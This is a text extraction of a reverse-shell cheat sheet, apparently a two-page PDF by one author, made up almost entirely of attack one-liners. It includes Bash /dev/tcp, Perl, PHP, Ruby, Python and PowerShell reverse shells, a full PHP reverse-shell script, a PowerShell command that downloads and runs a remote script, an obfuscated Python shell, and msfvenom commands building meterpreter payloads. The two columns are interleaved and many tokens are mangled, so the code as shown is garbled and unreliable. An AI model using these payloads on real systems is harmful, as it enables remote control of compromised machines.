Reverse Shells Cheat Sheet
by pat0pau via [Link]/122827/cs/22977/
Misc war file
What programs for item in $(echo "nmap nc perl python ruby gcc msfvenom -p java/jsp_shell_reverse_tcp LHOST=[Link]
are installed? wget sudo curl"); do which $item; done` LPORT=4242 -f war > revers[Link]
Perl Bash
perl -e 'use Socket;$i="[Link]";$p=4242;socket(S,PF_INET,SOCK‐ exec 5<>/dev/tcp/[Link]/1337 cat <&5 | while read line; do $line
_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,ine‐ 2>&5 >&5; done
t_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STD‐ bash -i >& /dev/tcp/[Link]/1337 0>&1
ERR,">&S");exec("/bin/sh -i");};'
0<&196;exec 196<>/dev/tcp/1[Link]/4242; sh <&196 >&196 2>&196
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAdd‐
sh -i >& /dev/udp/[Link]/4242 0>&1
r,"1[Link]:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_
while<>;'
php
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"1[Link]:4242");S‐
php -r '$sock=fsockopen("1[Link]",1337);exec("/bin/sh -i <&3 >&3
TDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
2>&3");'
ruby <?php set_time_limit(0);$VERSION="1.0";$ip='[Link]';$port=1‐
337;$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -
ruby -rsocket -e'f=TCPSocket.open("1[Link]", 1337).to_i;exec
a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fo‐
sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
rk')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exi‐
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[Link]","4242");whi‐ t(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid‐
le(cmd=c.gets);IO.popen(cmd,"r"){|io|[Link] [Link]d}end' ()");exit(1);}$daemon=1;}else {printit("WARNING: Failed to
ruby -rsocket -e 'c=TCPSoc[Link]w("1[Link]","4242");while(cmd=‐ daemonise. This is quite common and not fatal.");}chdir("/");umask(‐
c.gets);IO.popen(cmd,"r"){|io|c.print [Link]d}end' 0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$e‐
rrstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=‐
powershell >array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shel‐
l,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR:
$client = New-Object [Link]t.Sock[Link]PClient("1[Link]",‐
Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);strea‐
8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%
m_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);st‐
{0};while(($i = $stream.Read($bytes, 0, $[Link]ngth)) -ne 0){;$data
ream_set_blocking($sock,0);printit("Successfully opened reverse
= (New-Object -TypeName [Link]xt.ASCIIEncoding).GetString‐
shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell
($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sen‐
connection terminated");break;}if(feof($pipes[1])){printit("ERROR:
dback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =
Shell process terminated");break;}$read_a=array($sock,$pipes‐
([[Link]coding]::ASCII).GetBytes($sendback2);$stream.Write($se‐
[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$writ‐
ndbyte,0,$sendb[Link]ngth);$stream.Flush()};$cli[Link]ose()
e_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printi‐
powershell -nop -c "$client = New-Object [Link]t.Sock[Link]‐
t("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printi‐
PClient('[Link]',1337);$stream = $client.GetStream();[byt‐
t("SOCK: $input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$rea‐
e[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
d_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$‐
$[Link]ngth)) -ne 0){;$data = (New-Object -TypeName
chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$in‐
[Link]xt.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
put);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' +
READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("‐
(pwd).Path + '> ';$sendbyte = ([[Link]coding]::ASCII).GetBytes($s‐
STDERR: $input");fwrite($sock,$input);}}fclose($sock);fclose($pipe‐
endback2);$stream.Write($sendbyte,0,$sendb[Link]ngth);$strea‐
s[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);fun‐
m.Flush()};$cli[Link]ose()"
ction printit($string){if(!$daemon){print"$string\n";}}?>
powershell IEX (New-Object [Link]bClient).DownloadString('ht‐
php -r '$sock=fsockopen("1[Link]",4242);$proc=proc_open("/bin/sh
tps://gist.githubusercontent.com/staaldraad/204928a6004e89553a8‐
-i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad‐
4/mini-reverse.ps1')
meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link]
LPORT=4242 -f exe > revers[Link]
msfvenom -p windows/shell_reverse_tcp LHOST=[Link]
LPORT=4242 -f exe > revers[Link]
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[Link]
LPORT=4242 -f elf >rever[Link]
msfvenom -p linux/x86/shell_reverse_tcp LHOST=[Link]
LPORT=4242 -f elf >rever[Link]
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="[Link]"
LPORT=4242 -f elf > [Link]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="[Link]"
LPORT=4242 -f exe > [Link]
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="[Link]"
LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="[Link]"
LPORT=4242 -f asp > [Link]
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="[Link]"
LPORT=4242 -f raw > [Link]
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="[Link]"
LPORT=4242 -f war > [Link]
$ msfvenom -p cmd/unix/reverse_python LHOST="[Link]"
LPORT=4242 -f raw > [Link]
$ msfvenom -p cmd/unix/reverse_bash LHOST="[Link]"
LPORT=4242 -f raw > [Link]
$ msfvenom -p cmd/unix/reverse_perl LHOST="[Link]"
LPORT=4242 -f raw > [Link]
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="[Link]"
LPORT=4242 -f raw > [Link]; cat [Link] | pbcopy && echo '<?
php ' | tr -d '\n' > [Link] && pbpaste >> [Link]
By pat0pau Not published yet. Sponsored by [Link]
[Link]/pat0pau/ Last updated 24th May, 2020. Measure your website readability!
Page 1 of 3. [Link]
Reverse Shells Cheat Sheet
by pat0pau via [Link]/122827/cs/22977/
Python Python (cont)
python -c 'import socket,subprocess,os;s=socket.socket(socket.A‐ C:\Python27\pyt[Link] -c "(lambda __y, __g, __contextlib: [[[[[[‐
F_INET,socket.SOCK_STREAM);s.connect(("1[Link]",133‐ [([Link]nnect(('1[Link]', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.s‐
7));[Link]p2(s.fileno(),0); [Link]2([Link]leno(),1); [Link]2([Link]len‐ tart(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__e‐
o(),2);p=subprocess.call(["/bin/sh","-i"]);' xit__(None, None, None), __out[0](lambda: None)][2])(__contextl‐
export RHOST="[Link]";export RPORT=4242;python -c 'import ib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__':
sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHO‐ lambda __self, __exctype, __value, __traceback: __exctype is not
ST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in None and (issubclass(__exctype, KeyboardInterrupt) and [True for
(0,1,2)];[Link]awn("/bin/sh")' __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (),
{'__enter__': lambda self: None, '__exit__': lambda __self, __exctype,
python -c 'import socket,subprocess,os;s=socket.socket(socket.A‐
__value, __traceback: [False for __out[0] in [((p.wait(), (lambda
F_INET,socket.SOCK_STREAM);s.connect(("1[Link]",4242));os.d‐
__after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in
up2([Link]leno(),0); [Link]2([Link]leno(),1);[Link]p2(s.fileno(),2);import
[(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s,
pty; [Link]awn("/bin/bash")'
args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s‐
python -c 'import socket,subprocess,os,pty;s=soc[Link]cket(sock‐
2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for
et.AF_INET6,soc[Link]CK_STREAM);[Link]nnect(("dead:beef:2::1‐
__g['p'] in [(subproc[Link]pen(['\\windows\\system32\\[Link]'],
25c",4242,0,2));os.dup2([Link]leno(),0); [Link]2([Link]leno(),1); [Link]‐
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=sub‐
2([Link]leno(),2);p=[Link]awn("/bin/sh");'
process.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.A‐
F_INET, [Link]CK_STREAM))]][0] for __g['p2s'], p2s.__name__
in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this:
lambda: (__l['s'].send(__l['p'].std[Link]ad(1)), __this())[1] if True else
__after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}),
'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l:
[(lambda __after: __y(lambda __this: lambda: [(lambda __after:
(__l['p'].st[Link]ite(__l['data']), __after())[1] if (len(__l['data']) > 0) else
__after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0]
if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]]
[0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for
__g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subproc‐
ess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading']
in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x:
x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextli‐
b'))"
python -c 'import socket,subprocess,os;s=socket.socket(socket.A‐
F_INET,socket.SOCK_STREAM);s.connect(("1[Link]",1234));os.d‐
up2([Link]leno(),0); [Link]2([Link]leno(),1); [Link]2([Link]leno(),2);p=sub‐
process.call(["/bin/sh","-i"]);'
By pat0pau Not published yet. Sponsored by [Link]
[Link]/pat0pau/ Last updated 24th May, 2020. Measure your website readability!
Page 2 of 3. [Link]
